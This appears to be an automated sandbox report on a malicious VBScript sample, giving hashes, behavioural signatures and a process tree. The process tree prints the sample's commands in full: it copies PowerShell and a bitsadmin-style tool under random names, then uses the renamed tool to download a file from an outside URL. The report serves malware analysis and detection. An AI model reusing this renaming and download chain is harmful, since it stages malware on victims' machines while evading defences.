Analysis
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max time kernel
95s -
max time network
97s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
12-07-2024 12:00
Static task
static1
Behavioral task
behavioral1
Sample
3d4bb59666eebb302bf85e56770fcc9e_JaffaCakes118.vbs
Resource
win7-20240705-en
General
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Target
3d4bb59666eebb302bf85e56770fcc9e_JaffaCakes118.vbs
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Size
8KB
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MD5
3d4bb59666eebb302bf85e56770fcc9e
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SHA1
4bba9bf6f71a569e3a18ec171124ac53533b0e6c
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SHA256
54d27b43113c9d787286ffdbc3b1aa6e417b2e2947da472a320f746e26b33f50
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SHA512
6a319d0d27bbbb9317741334abed9608261cb6ad8ecda6b05e31d51b21df19b4b5ec909fed3265cf45bba3e601f7caaabff8e17dfaa3254ccac35955a55b00a0
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SSDEEP
192:QUpzzCCi/CI5lhZjBQFwo0SacAOLT46UcoH0N85xq6iG:QU9CCi/NfhZjBQFwo0SacAOLT46UtHWI
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 1692 fiZjRWBin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4052 wrote to memory of 4440 4052 WScript.exe 83 PID 4052 wrote to memory of 4440 4052 WScript.exe 83 PID 4440 wrote to memory of 2324 4440 cmd.exe 85 PID 4440 wrote to memory of 2324 4440 cmd.exe 85 PID 4440 wrote to memory of 2708 4440 cmd.exe 86 PID 4440 wrote to memory of 2708 4440 cmd.exe 86 PID 4052 wrote to memory of 1692 4052 WScript.exe 87 PID 4052 wrote to memory of 1692 4052 WScript.exe 87 PID 4052 wrote to memory of 1692 4052 WScript.exe 87
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3d4bb59666eebb302bf85e56770fcc9e_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4052 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aVPzWugV.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\fiZjRWB*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4440 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aVPzWugV.exe3⤵PID:2324
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\fiZjRWB*.exe3⤵PID:2708
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C:\ProgramData\fiZjRWBin.exe"C:\ProgramData\fiZjRWBin.exe" /wrap /transfer eDtcIRxb https://grandwyatt.com/picco/01616860936/xml.txt C:\ProgramData\xml.txt2⤵
- Executes dropped EXE
PID:1692
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a